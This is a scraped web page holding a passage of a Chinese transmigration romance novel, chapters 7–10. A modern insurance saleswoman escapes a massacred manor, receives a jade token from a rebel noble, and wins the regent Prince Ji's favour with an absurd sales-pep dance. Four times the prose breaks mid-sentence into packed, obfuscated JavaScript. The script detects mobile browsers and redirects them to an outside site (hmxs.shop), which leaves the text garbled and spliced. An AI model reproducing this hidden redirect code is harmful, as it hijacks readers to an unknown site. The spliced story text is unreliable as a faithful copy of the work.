l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576560|187132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地温润的古玉,长约三寸,宽约二指,形制古朴,上尖下方。正面密布苍劲篆文,背面雕琢着繁复图腾,整块玉透着一种神秘而庄重的气息。 时毓的目光却被尖角处一道几不可察的细纹吸引。那裂痕像是曾经摔碰所致,又被人用金丝细细修补,金玉交映,在光下流转着温柔的光泽。 他一定,非常珍视这块玉吧。 时毓既感动他的真诚,又气恼他的愚昧——好似一个被道义绑架,没有了思想的木偶哎! 可是没等她拒绝,黑衣人忽然拉开面罩,露出本来面目。 时毓顿时倒吸一口凉气,恨不得自己瞎了! 这是一张兼具少年清隽与男子棱角的脸,颧骨线条流畅地收束至下颌,勾勒出清瘦却不失力量感的轮廓。 冷白如玉的肌肤上,两道眉如浸了浓墨的玉刃,斜斜飞入鬓角,眉峰处微微上扬,添了几分英气。眉下是双标准的凤眼,眼尾自然上挑却不张扬,眼瞳是极浅的琥珀色,在跳动的火光里泛着琉璃般的柔光;长睫浓密纤长,在眼下投出细碎的阴影;鼻梁生得极正,从山根到鼻尖流畅峻挺,唇瓣薄薄的,色泽是鲜嫩的樱粉,形状饱满得透着几分诱人的软意,可唇角却微微向下抿着,透出几分拒人于千里之外的冷傲。 妈呀,这么迷人的脸是人类能拥有的? 这样的脸一旦见过这辈子能忘掉吗? 记住了他的脸,显然又多了一个被官府追捕的理由!! 就在她头晕目眩时,隐约听到他道出了自己的名字,似乎是池彻,或者池慑。 “池副使!”狗儿惊呼:“你是五年前在祭神大典上担任大司祭的池副使!” 黑衣人点点头。 池家是江南仅次于徐家的名门望族,五年前,年仅弱冠的池彻,便已官拜江南东道节度副使兼掌书记,执掌六郡文书典章、祭祀礼乐与教化事宜,是江南道最年轻的正四品大员。 他本就以才貌双全闻名士林,在主持祭神大典那日,身着玄端祭服,手执青玉圭璋,于万众瞩目间从容执礼。晨曦为他周身镀上金边,那一刻,无数人恍惚以为见到了谪仙临世。自此,‘玉郎祭酒’之名风靡江南,其风姿至今仍在民间传颂。 当然这些时毓并不知道,她只知道,五年前狗儿才九岁,却记得这样清楚,足见这张脸有多难忘! 她本能抗拒对他了解更多,没有仔细去分辨他的名字,也没刻意去记那个官职。 “虽不知姑娘因何被囚,但令弟为救你火烧粮仓,偏巧今日徐家尽灭,你们姐弟俩无论如何也摘不清干系。与其你独自奔逃,不如随我一起走,我带了些随从部众,多少能护你们周全……” 说着他拾起时毓的手,将带着体温的玉圭交到她手里。 正因为你有部众,目标才更大啊! 霁王在此,怎么会容忍你们在他眼皮子底下杀人放火?你们这次死定了,跟着你们只能死得更快! 为了彻底断了他的念头,时毓咬牙撒了个弥天大谎:“实不相瞒,我今夜就没打算活着离开。五年前我阖族被灭,我最恨的不是徐氏夫妇,而是那个踏破城门、血洗江南的霁王! 今夜我之所以被关在地窖,就是因为徐太太发现了我的行刺意图。如今既得自由,此志不改!我还是要想办法潜入行宫,请恕我不能与大侠同行。” 说罢她将‘烫手山芋’塞回给他。怕掉落,她还特地帮他合上了手掌。 肌肤相触产生的微妙电流,在他眼底荡起层层涟漪。 这番谎言于她是急智,于他却是真切经历。 他垂眸凝视那枚象征家族荣耀的玉圭,低声道:“不瞒姑娘,我此行原也为刺杀霁王。奈何他身边布防严密,行宫已成铁桶,即便拼尽全部人马,也难近他分毫。无奈才转道来取徐妇性命,权作敲山震虎。” 抬眼时,他目光里带着忧虑:“姑娘与令弟皆非习武之人,要如何完成这赴死之举?” 8. 第 8 章 与此同时,行宫夜宴已至酣处,满座宾客酒意微醺,对徐员外此前吹得天花乱坠的‘江南十二姝’翘首以盼,她们却迟迟没有上场。 主位上的霁王,指尖摩挲着白玉酒杯,侧脸在灯火下覆着层冷影,明明没皱一下眉,没说一句话,座下所有人却感到一股无形的压力。 好像浪费他的时间就是在犯罪,每多等一刻,就罪加一等。 徐员外顶着满头冷汗,疾步来到备妆处,怒喝:“老夫已派人催了三次,为何迟迟不上?!” 被派来传话的管家老何早已急得脸色煞白,指着季知节结结巴巴地告状:“老、老爷,还是她!老奴好说歹说,嘴皮子都快磨破了,她、她就是不肯动,说时毓不来她绝不登台!” 徐员外狠戾的目光落在季知节身上,他疾步上前,粗暴地攥住季知节的头发,硬生生将她从椅子上扯起来:“贱人,谁给你的胆子威胁老夫?!” 季知节的头皮被扯得生疼,被迫仰着头,看着那罗刹鬼一般的扭曲面容。 她又疼又怕,浑身颤抖,眼泪在眼眶里打转,却咬牙道:“两个时辰前我便求过员外,员外打也打了,骂也骂了,无论怎样,我意已决。” “好一个意已决,你想找死,本员外成全你!”徐员外猛地松开手,把季知节甩到地上,发狠道:“少了你一个,老夫还有十一个!” 妆奁被季知节撞得翻倒,珠钗散落一地,发出巨大的响声。所有人噤若寒蝉。 “但你敢坏老夫的好事,老夫绝不让你死得轻巧!”徐员外看向管家,厉声道:“把她拖出去,先砍了双腿!” 其余十一位女子瞬间吓得面色如土。 季知节面如死灰,烂泥般瘫软下去。 待管家将她拖至门口,江雪融忽然大喊:“慢着!” 管家一顿。 江雪融迎上徐员外阴鸷的目光,语速快而不乱:“员外,我们当中,季知节最有希望获得霁王青眼,何必为了区区一个时毓,毁掉您手上最好的牌?我知道您喜欢时毓,可时毓年纪大,又无歌舞天赋,就算上了场,也不会被霁王挑走。您担心什么?退一步讲,多一个人您便多一份希望,既然季知节对她有信心,何不让她试试?我们哪一个成功,得利的人都是您啊。可要是您砍了季知节的腿——” 她扫过簌簌发抖的佳丽们,“吓得我们魂飞魄散,又怎么能取悦霁王呢?” 徐员外目光锐利地盯着她:“她若不上,最有希望的便是你,你为何要帮她说话?” 江雪融眼中精光流转,果决道:“因为只要有一个人成功,员外能平步青云,到时您也许不会为了一点银钱,将我们卖掉,而是把我们带到京城,发挥更大的用处。” 季知节眼神一变,心中五味陈杂。她第一次觉得自己输了,江雪融比她想得长远,格局更大。 半晌,徐员外忽然笑了,“好,不愧是才女。本员外被你说动了。” 所有人都松了口气,季知节蓦得流下泪来。 “不过,时毓有没有命能来到这里,就要看她的运气了。” * “我自有办法。”时毓面不改色,语气笃定。 作为保险销售,忽悠是基本技能,因为她经常面对各种刁钻无理的要求。 她的策略向来是:先爽快答应,再尽力实现其中一部分,最后就那实在无法达成的部分诚恳致歉——而那时合同早已签妥,双方也差不多成了朋友,客户见她确实已竭尽全力,通常也不会深究。 因此,这句“自有办法”说得底气十足,不仅骗过了池彻,连一旁的狗儿都睁大了眼睛:“姐,你真还要去行宫?” 时毓毫不犹豫地点头。 为把戏做足,她转向池彻抱拳道:“大侠,你我同怀血海深仇,目标皆是诛杀霁王。如今他近在咫尺,这样的机会若白白放过,恐怕此生再难遇见。即便只有万分之一的胜算,我也绝不能退缩。请你不必再劝——相反,我希望你们速速离开。青山不改,绿水长流,保全实力,方能徐图后计!” 让他们徐图再来,就意味着她清楚今晚一定会失败。她是抱着必死的决心去的。 池彻深深地看着她,终究幽幽一叹:“既如此,我在三里外的杨柳浦等候姑娘,直至寅时三刻。若姑娘平安归来,池某定当三媒六聘,迎你过门。若你……” 话音未落,一道黑影倏然闪入,急声禀报:“盟主,徐府府兵已出行宫,正朝此处赶来!” “多少人马?” “二十余人,皆佩腰刀,步履迅疾!” “糟了!”时毓闻言脸色骤变,连声催促:“徐员外定然已知府中变故!事不宜迟,诸位快走!” 池彻颔首:“我们由正门突围,为姑娘引开府兵。姑娘与令弟务必见机行事!” 时毓连连点头,目送众人身影掠出厅外,刚松半口气,正要催促狗儿抓紧去找金银财宝,却见池彻去而复返。 未及反应,只觉左手被一只微凉的大手轻轻掰开,塞入一块温润之物。 那张惊为天人的面容倏然逼近,嘴巴一张一合,急切地交代着什么。 时毓的听觉仿佛被视觉剥夺了,整个人溺毙在那张绝世容颜的冲击中,脑中一片空白,只断断续续捕捉到一些字眼:“……见玉如见我……沿途所有弟子都可驱用……等姑娘归来……共谋大计……” 待她从这阵美颜暴击中回过神,眼前早已空无一人。 唯有掌心那块玉圭,温润地提醒着方才发生的一切。 “时姐姐,快走!” 耽搁了这一下,再去搜罗金银细软已不可能,甚至连件像样的衣服都来不及找。时毓只得紧紧裹住那片帷幔,拉着狗儿便向后门疾奔。 不料刚冲出徐太太的院落,一片喊杀声便从四面八方涌来。最清晰、最近的几道,正是后门方向传来的。 原来府兵已将整个徐府包抄! “时姐姐,怎么办?”狗儿的声音已带了哭腔。 时毓心念电转。而今前后皆有府兵,一旦对上他们,要么死于乱刀之下,要么会被当作池彻同党,反正都是个死。 真到了生死关头,她才发觉自己仍是怕死的,好死不如赖活着。更重要的是,绝不能连累狗儿。狗儿一家于她有救命之恩,今日这孩子更为她舍身犯险,无论如何,必须护他周全! 大不了……暂且委身徐员外,先将老头子哄住,再寻机脱身! 主意已定,她一把拉住狗儿:“跟我来!” 两人闪身跑回废院。 “快,和我一起推开枯井上的石墩!” 两人合力把石墩推开一道十多厘米的缝隙,一股巨大的腐臭气息扑面儿俩,熏得人至于作呕。 时毓脱下帷幔,裹在狗儿身上,又用外衣包裹住他的口鼻,“你进去躲着,等到天亮,这里彻底没动静了再出来……” 狗儿抓着她的胳膊:“你也躲进来!” “不行,我突然想到,如果我莫名消失,就成了引敌入府、杀死徐太太的背锅侠!我得留下来自证清白,你放心,我有法子活命的。” 时毓强行将狗儿塞进枯井,又与他合力推上石墩,做完这些,兵器交击之声已迫近耳边,她赤着身子飞快跳进地窖,顾不得浑身疼痛,在黑暗中摸索到绳索,一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576561|187132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胡乱往身上缠绕,一边放声呼救:“救命——救命啊!” 杂沓的脚步声瞬息而至,刺眼的亮光猛地灌入地窖。 上头有人高喊:“管家!找到时毓了,人还活着!” * 时毓被送至行宫时,已换上了一身艳丽‘演出服’。 夜宴正酣,灯火映天,丝竹欢笑声越过层层屋脊传来,但她没有被径直带往那里,而是被引到距离那片喧嚣还有几分钟脚程的僻静凉亭。 此处并未点灯,亭中唯有一人负手临风,背影沉沉。 “员外。”时毓停在离他两步远处,执礼恭敬,语气里带着点小心翼翼地讨好。 她从管家口中得知,徐员外是受季知节胁迫才允她登台,而今徐家又遭此变故,他心中必定满腔愤恨。她生怕被迁怒。 毕竟今日在假山内就已经把他惹恼。 “嗯。”徐员外应了一声,倒是听不出怒气,好像已被接连的打击抽走了精神气儿。 时毓斟酌着开口:“请员外节哀。” 她想,即便他说,从成亲起便厌弃徐太太,但近三十年的相伴,总该有些情分,伤心是难免的。当然,真正致命的打击,还是那被焚毁的粮仓。此番过后,若不能随霁王进京,他在晋陵将再无立足之地。 “哀伤无用,人总要往前看。”他语气平淡,转而问道,“你想登台,可做好了准备?” “备了一支歌舞。” “寻常歌舞,可入不了霁王的眼。”徐员外微微抬头,望向宴席所在的方向,“他今日冒雨行舟,受了寒气,下船后又接连召见本地官员,此刻早已疲惫不堪。” “多谢员外提醒。只要他尚在席上,我登场时,必能教他移不开眼。” “这般自信?” “是,但咱们都不知道他到底喜欢什么样的,所以我并无把握能得他欢心。不过我的风格与知节她们截然相反,我能将她们衬得愈发出彩。总之只要我能登台,必能提高员外的成算。” “好。我信你。” 时毓诧异极了,才半天,他的态度怎会有如此大的转变? 徐员外缓步走近,将手搭上她的肩,声音轻飘飘的:“你可知,我为何愿给你这个机会?” 这个令人不适的动作,似乎就是答案本身。 时毓垂眸应道:“因为员外……怜惜我。” 徐员外却低笑一声:“我对你确有几分回护,却不至于为此误了大事。此番献艺,关乎我的前途,甚至性命,人选必须慎之又慎。原本你并不够格,但现在,你让我看到了你的价值。” 时毓心头一凛:又低估了他! 她不动声色地问:“是因我写给季知节的那首诗?” 徐员外摆手:“诗虽惊艳,可想在霁王身边立足,光有才貌远远不够。你能说服清高孤傲的季知节为你豁出性命,这是你的智慧;敢于在太太威压下引诱我,这是你的勇气;放得下自尊与名节,甘愿以身为棋,这是你的魄力;即便希望渺茫,也要拼尽一切去抓住,这是你的决断力。这些足以证明,你比她们更值得托举,但这些,都不是最重要的。” “那什么才是?” “运气!” “运气?” “不错。国之兴衰靠国运,人之成败,亦由气数主宰。凡成大事者,无一不是气运所钟。古往今来,多少草莽庸才窃国成侯,皆是因为时运造英雄,而无数德才兼备者抑郁而亡,亦是因为生不逢时。” 压在时毓肩头的指尖微微用力,他声音沉缓如咒,“你今晚能全须全尾地走到这里来,才是打动我的关键。我要乘你之势,直上青云!” 9. 第 9 章 自穿到这里,时毓便深信自己是全宇宙最倒霉的人,因此并不把徐员外的话放在心上。 时间急迫,她和季知节见了面也没有说话的机会,只相□□了点头,便匆匆赶往夜宴场所。 徐氏之富,从这一个场地就能看出一二。其广阔不亚于故宫太和殿,里面坐了不下二百个人,除了霁王及随行官员、晋陵本地官员,还有许多士林名士。 时毓排在队伍的末尾,刚入场便忍不住抬头看向主位。 “慢着。” 还没看清霁王样子,一声冷喝惊得她慌忙垂首,只见一双绣着狴犴纹样的官靴径直停在她面前。 “顾大人,”徐员外急忙从前方折返,赔着笑问,“您有何吩咐?” 来人正是总领一切扈从警卫之责的翊卫中郎将——顾钊。 他并不答话,只绕着时毓踱了一圈,打量着她那褪色发黄的发梢问:“这便是员外从徐宅刚带来的家伎?” “正是。”徐员外笑道,“大人别看她貌不惊人,却是内藏锦绣,最擅别出心裁,是小人精心为殿下与诸位大人备下的一味解颐妙方。” 时毓听得嘴角直抽,老头子很会自卖自夸嘛。 顾钊轻飘飘地哦了一声,忽然闪电般出手,二指精准扣住时毓腕间要穴。 这一招看似无害,实则暗含劲力,专为试探习武之人的本能反应。 而时毓的反应,在他看来是有点诡异的——她没有闪躲,没有格挡,甚至没有寻常女子该有的羞怯或惊惧,目光锁住他扣在她腕间的手,仿佛看到了什么旷世奇观,红唇张得浑圆,无声地吐出个‘哇’字。 哇? 哇什么哇? 他眯了眯眼,默不作声,左手顺势而上,拇指如铁钉般抵住她肩胛骨下方的天宗穴。 此乃人身要穴,劲力透入,轻则令人酸麻难当,重则如针砭刺骨。若身怀武艺,筋肉必会瞬间绷紧,内息更会自发抵御,绝无可能全然松弛。 可指下传来的感觉却再明确不过,她肩胛绵软无力,气息涣散紊乱,寻不到半分内力凝聚的迹象。 他指下加力,紧盯着她的表情,口中则漫不经心地审问徐员外:“听闻徐府满门遭难,唯独她一人幸存。员外就不疑心?亦或是,你明知她的底细,却仍要将她送到殿下跟前,图谋不轨?” 时毓痛得冷汗涔涔,心里骂得粗,嘴上却只能发出细碎的呜咽。 徐员外急忙解释:“大人明鉴,她手无缚鸡之力,入园时也已由翊卫仔细查验过,未携任何利器。献艺之处距殿下足有十丈之遥,纵有不轨之心,又如何得逞?况且她能侥幸生还,正是福泽深厚之相。小人以为,这般被上天眷顾之人,能为殿下带来祥瑞之气啊!” “是祥瑞还是灾星,尚未可知。”顾钊冷哼一声放开了时毓,一转身,却又扣住了徐员外的肩膀。 “员外真是心宽体胖,家里出了那样的大事,还有心思在这里侍奉殿下。”顾钊毫不留情地讥讽道:“这般上进,莫说晋陵,便是整个大虞也无人可及。顾某佩服之至。” 徐员外脸上青白交错,咬牙道:“小人心中视殿下如君父。君为重,亲为轻,此时此刻,唯有侍奉殿下才是头等大事。还请顾大人行个方便,莫让殿下久候。” 顾钊松了手,挺直腰背,俯视着徐员外。 他比徐员外高了足足一头,这居高临下的目光,傲慢而锋利,让人极不舒服。 “请吧。但愿员外的忠诚和牺牲,都不会白费。” ‘牺牲’二字被他有意加重了,似乎暗含很多信息。 时毓不由偷偷抬眼看向徐员外,只见他脖子上的青筋跳了跳,却什么也没说,只是抱拳一礼,便拂袖转身,大步离去,她连忙跟上。 “一,二,三……十二,十三!不对呀,员外说的‘十二姝’怎么多了一个?难道是老夫醉得眼花了?” “公孙先生才饮了五杯,怎么可能醉?确实是多了一个。” “哦?这么说,是徐员外数术不好,把十三记成了十二?” “哈哈,公孙先生一语中的!员外确实不善数术,连族中有多少人都记不清,咱们就别对他要求太苛刻了。” 随着她们入场,肆无忌惮的哄笑声自宴席间传来,宾客们借多出的一人,堂而皇之地讽刺徐员外背族求荣。 徐员外在这片刺耳的讥讽中,快步趋前,躬身向霁王禀报。 望着他那逆来顺受的背影,时毓第一次真切体会到他的处境,也瞬间参透了顾钊那句‘牺牲’背后的深意——今夜徐府的惨剧,包括徐太太的死,恐怕尽在他的算计之中。 即便事实并非如此,只因他曾踩着全族尸骨上位,任谁都会作此联想。 而从徐员外派人回府接应她的阵仗,以及与她对话时的那份平静来看,他分明对府中发生的一切早有预料。 这一刻,徐员外骨子里的冷酷与算计,令时毓不寒而栗。 她也想通了一件事:他并未将所有的筹码都押在‘十二姝’身上,他真正的底牌,是为侍奉霁王而牺牲全家的道德资本。 试问,霁王要如何拒绝一个为他家破人亡、自绝于故土的‘孤臣’? 但他想要带走这个声名狼藉的人,必然会遭到激烈的反对。 所以,眼前这场‘选秀’,其实是徐员外为他铺就的台阶。 若霁王当真选中一人,并非心动于美色,而是默许了徐员外的请求。 铮! 一声琵琶裂帛而起,献艺开始了。 时毓静立一旁,看着佳丽们在台上翩然起舞。 起初还有几道目光在她身上逡巡,似在揣测这个多余之人的用处,但很快便被台上的曼妙歌舞吸引而去。 无人留意之际,时毓悄悄抬眸,望向主位上的霁王。 这样一个充满传奇色彩的摄政王,实在令人好奇。 坊间传闻他俊美无匹,偏巧她今夜见过一个真正的绝色,不知两相比较如何。 可惜两相间隔十丈有余,烛影摇红,很难看得真切。而且他似乎真的倦了,以手支额,玄色广袖垂落,恰好掩去了大半面容。 不过只看那坐姿轮廓,就让人感到一股浑然天成的威仪,仿佛高踞九重天阙的神祇。 而那不可一世的顾钊,此刻如归鞘的利剑,静默侍立于阶下,更衬得他如泰山压顶般凌驾众生。 时毓来自一个权力被约束的时代,从未真切体会过何为‘官威’。 可这遥遥一瞥,一种源自本能战栗便攫住了她,让她几乎屏住呼吸。 她清晰地感到,在那玉阶之上,静坐着生杀予夺的本身。 他就是法,是规则,整个国家都围绕他的意志运转,所有人的命运,都可以被他一句话甚至一个眼神改 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576562|187132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变。 她不敢再有任何轻佻的想法,小心地垂下了视线。 这种畏惧,实在不利于她接下来的表演。 一想到那滑稽的表演形式和夸张的表演内容,她就有种要上刑场的绝望。 咚! 羯鼓一声突起,如碎春冰,统领全篇,将所有乐音收束于明快的节律之中。 群舞结束,该时毓上场了。 她哆哆嗦嗦走上舞台,感到四面八方有无数双眼睛盯着自己,而正前方的玉阶上,徐员外正眉飞色舞地对霁王推介着,于是原本漫不经心的霁王,竟抬眼朝她看来。 刹那间,她好像被拉回了十几年前的元旦联欢会——正躲在角落里咧着大嘴和暧昧对象发微信,忽然被班主任点名起来唱歌! 现在没人相信时毓曾经是个社恐,然而她从小到大都是。后来变得热情主动,完全是为了工作。 那时,她连举手上厕所都要酝酿很久。可班主任一直鼓励她,全班同学都拍着桌子喊‘时毓,来一个,时毓,来一个’,喊得最响亮的,恰是她那暧昧对象。 也许是为了不在暧昧对象面前怯场,也许是不愿扫大家的兴,最终,她接过了话筒。 结果唱出的第一句就慢了半拍、严重跑调,干涩的嗓音更将她的窘迫暴露无遗。 她放下话筒夺路而逃,此后再也没参加过任何联欢。 此刻,命运又把她逼到了悬崖之上,而她这次,无处可逃。 “时毓,相信自己!” “时毓,你一定行!” “时毓,知节为了你差点被砍断双腿,你可不能辜负她!” ‘十二姝’似乎看出了她的紧张,纷纷对她喊话。 时毓回头望向那一张张真挚的面容,深吸一口气,重重颔首。 季知节立即向乐师递了个眼色。一段奇特旋律骤然响起,节奏鲜明,带着某种原始的张力。 时毓闭上眼睛,想像自己回到了公司,在一个寻常的早会上,在老总的带领下,和同事们一起跳早操。 那是每一个保险销售入公司第一天就要学的鸡血操——《成吉思汗》抓钱舞! “吼!哈!” 十二姝的和声适时切入,为她铺就声势。 时毓猛地昂首,目光如电般射向玉阶之上的霁王。她四肢挥洒,动作大开大合,每一个节拍都充满了近乎夸张的力量感,同时用尽全身力气,以打了鸡血般的激情放声高歌: 有一个东方英雄故事,让我来告诉你 有一位天神般摄政王,太伟大了不起 他威力不可一世,所向无敌 他曾经身怀大志,还远征东西 他管理世界最大的国家 霁霁霁王虞珩,生不怕,死不怕,天不怕,天生英勇, 心向上,心向上,心向上,坚心向上 霁霁霁王虞珩,不知道有多少美丽的少女们都想嫁给他啊,都想做他新娘 他是人们心中的偶像 霁霁霁王虞珩,有文明,有魄力,有智慧,异常英勇 霁霁霁王虞珩,不知道有多少美丽的少女们都想嫁给他啊都想做他新娘 他是人们心中的偶像 一舞毕,时毓双手举过头顶比了个心,大声喊道:“霁王,我爱你!” 随之,整个宴会场陷入了一种诡异的寂静。 10. 第 10 章 最后这句石破天惊的表白是时毓临场发挥,连季知节都猝不及防。 于时毓而言,这是表演的收梢,是极致的恭维,是吸引霁王注意的奇招,于其他人而言,却是大逆不道的亵渎。 十二姝个个面无人色。 那可是让满朝文武又敬又畏的摄政王啊!寻常人可以敬他爱他,却不能肖想他! 时毓此举,无异于公然羞辱:霁王而已,连我这般卑微家伎也能随意肖想。 她完了,大家都完了! 晋陵太守张巨卿怒不可遏,他绝不信一个奴婢敢如此放肆,这露骨的歌词极尽恭维,分明是徐员外的心声。这厮为了进阶,真是一点儿脸都不要了! 他拍案而起,指着徐员外怒斥:“好个徐守凯!你庸俗无耻至极!” 晋陵官员和以公孙先生为首的江南名士们纷纷附和,个个痛心疾首:“放浪粗鄙!斯文扫地!难登大雅之堂!” 在这片声讨中,有一人暗自心折,那便是位列末席的杨焕文。 在时毓表演时,他就不自觉地跟着哼唱,指尖亦悄悄随节奏轻动,暗合舞步。 在他看来,此曲明快雄浑,很契合霁王身份,歌词虽不够庄重,却通俗易懂、朗朗上口,极易在民间流传。 霁王斩尽江南门阀,定不想看到门阀鬼影仍在江南盘桓。那些缥缈雅致的阳春白雪,本就是门阀贵族审美下的遗物,眼前这粗鄙的歌舞,却恰恰契合寒门新贵的品味。 若这样的歌舞能在江南流传开来,意味着寒门已真正主宰了江南风尚——那才是霁王真正乐见的新气象。 不过见上峰与同僚都在唾弃,他自然不敢表露分毫。 徐员外早已汗湿重衣。 作为土生土长的江南人,他素来推崇含蓄蕴藉的雅乐,对‘下里巴人’嗤之以鼻,所以对十二姝的培养,力求极致高雅,唯恐玷污了霁王的耳目。 他原本对自己的识人之明深信不疑,认定时毓谈吐不俗,气度从容,有大智慧,见过大场面。正是这份笃定,加上她自己成竹在胸,他才敢在霁王面前竭力推荐。 岂料她竟将这般庄重场合当作市井街巷,使出如此不堪入目的伎俩! 看着那怪异的舞姿,听着连他都觉得肉麻的歌词,他只觉毕生经营都要毁于一旦,绝望得不敢看霁王反应。 他恶狠狠地瞪着时毓,时毓相信,倘若局势没有反转,自己一定会被他活刮,不禁魂颤股栗。 就在这万马齐喑之际,顾钊忽然扬声赞道:“好歌!” 他话音未落,曲岳便摇扇附和:“好舞!其中几个动作,似乎借鉴了‘霁王破阵舞’,颇有气势。” 霁王破阵乐,原是大虞朝建国初期的军歌,五年前霁王扫清江南叛军,他的将士们遂以旧曲填入新词,歌颂他的功德。 后来小皇帝命人把这首乐曲编成舞蹈,经过宫廷乐师的加工整理,编成了一套气势恢宏的宫廷乐舞,如今在京都洛阳极受推崇,其乐曲雄浑壮阔,舞姿豪迈奔放,每每奏响都令群臣热血沸腾。 太常寺礼官陆长风抱臂轻哼:“不想这温婉江南,也有这般飒爽女子。” 曲岳闻言抚掌笑道:“陆大人此言差矣。溥天之下,莫非王土,率土之滨,莫非王臣。天子在北,制度、文化、气象皆当以北为宗。江南女子能褪去柔靡,效北地之慷慨,正是王化深植,四海归心的明证!” 这番话顿时在席间激起千层浪。 北来的南巡官员们相视颔赞,纷纷出声附和,声浪一时高涨。 在座的晋陵官员与名士们,虽不敢明着反驳,眉宇间却尽是不以为然。 在他们看来,江南物阜民丰,文化鼎盛数百载,北方虽掌权柄,终究是马上得天下的武健之风,论及文采风流、礼仪雅趣,远不及江南。 要让他们从心底认同北地文化,却是万万不能,更别提坐看北风南渐。 一时间,一支舞曲引发的南北之争,令宴会氛围降至冰点。 而徐员外终于从北方官员的态度中回过神,怀着一丝期待,悄然看向霁王。 霁王似无意对席间的南北之争表态,面上看不出喜怒,只不知何时已坐直了身子,深潭般的目光静静投向场中垂首而立的时毓。 如果方才纵情歌舞的她是一只振翅翱翔的雄鹰,那现在活像一只瑟瑟发抖的鹌鹑。 徐员外心悬到了嗓子眼。 时毓真的比他棋高一招,把住了霁王的脉搏吗? 这一刻的静寂,比溺水之人沉向黑暗深渊的最后一程还要漫长难熬。 就在徐员外感到越来越窒息时,忽听一道沉稳的声音不疾不徐地响起,音调不高,却如玉石相击,清晰地传入众人耳中: “此舞颇有新意,曲调亦别致。赐酒。” 近侍太监即刻高声传唱:“殿下赐酒——” “赐酒?” 席间霎时一片低哗。 霁王喜怒不形于色,让人难以捉摸,自落地晋陵,对晋陵官员的种种表现未置一词,虽然礼贤下士,也未曾对任何名流显要稍加青眼。 是以,接风宴进行到现在,还无人获此殊荣。 偏偏,给了一个众人鄙夷的艺伎! 徐员外被巨大的惊喜冲的头晕目眩,噗通跪地,颤声谢恩:“小人……谢殿下恩赏!” 霁王随意一摆手,语气依旧平淡:“徐卿此番安排,可谓用心。今日夜宴,雅俗共赏,南北同乐,孤很满意。辛苦你了。” 徐员外站起来,依旧深深弯着腰,忍着泪答道:“殿下言重!能为殿下效劳,是小人几世修来的福分,小人欢喜还来不及,岂敢言苦!” 此时,时毓已在侍女引领下趋步至阶前,领那赏赐的御酒。 这个距离,足以看清王座上人,她却不敢抬头。 她能清晰地感觉到,一道深沉的目光正落在自己身上,带着审视与考量。心脏因紧张与兴奋而剧烈跳动。 霁王真的选中我了吗? 辛辣的花雕酒送入口中,喉头如火烧一般,她却感觉不到,因为注意力已被周围的窃窃私语吸引过去。 “啧,长得一般。” “年纪瞧着不小了,得有二十五六了吧?” “肩膀太宽。” “脚太大。” “嗓门也粗。” “该不会是男扮女装吧?” 这些声音并未刻意压低,字字句句充满了挑剔与贬损。 然而,时毓唇边反而慢慢浮起一丝笑意,紧绷的心弦渐渐松弛下来。 他们越是这样急于否定她、贬低她,就越证明霁王八成真看上她了。 在座所有人都知道,霁王只要带走一个艺伎,徐员外就能平步青云,虽然那是他们最不愿意看到的,可若霁王主意已定,无法阻拦,他们希望他会选择一位柔情似水的江南女子。 以她的柔情,化解他的杀伐之气;让她把江南风雅,带到京都;让江南女人生下他的血脉,将来回护江南百姓。 而他如果选时毓,便是一个再明确不过的信号——他无意沉溺于江南的温柔乡,他要的,是让强劲的北风,吹散这萦绕百年的门阀残影,重塑他们引以为傲的文化! “殿下,既是雅俗共赏,何不让季姑娘与江姑娘也一展才艺?徐员外曾盛赞,她们一个是掌上飞燕,一个是人间百灵。方才群舞虽美,终难尽显其各自风华。草民恳请殿下恩准,再瞻绝艺。”名士公孙炎起身提议。 意思很明显,殿下你别急着定,吃点好的再说啊! 霁王不置可否,只问张巨卿的意思。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576563|187132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>张巨卿知道这是在试探自己的立场,身为晋陵太守,他理应顺应上意,可此事关乎江南文脉风骨,他不能退让。 于是他硬着头皮道:“殿下,政令出于北,臣等自当恪守遵行,莫敢不从。然江南文脉绵延千载,其诗酒风流、清音妙舞,亦自成天地。季江二姝,乃此间风雅之精华,微臣恳请殿下品赏。” 陆长风当即低叱一声‘叛徒’,曲岳亦摇头嘟囔了一句:‘愚不可及’。 霁王眼中也露出一丝失望。 然,江南久在门阀掌控之中,早已形成以出身定尊卑的风气。百姓既憎恨门阀,却又仰慕其权势,这是短时间内难以更改的。张巨卿一介寒门出身,本就没有多少威信,若当众受责,日后更难驾驭臣民。 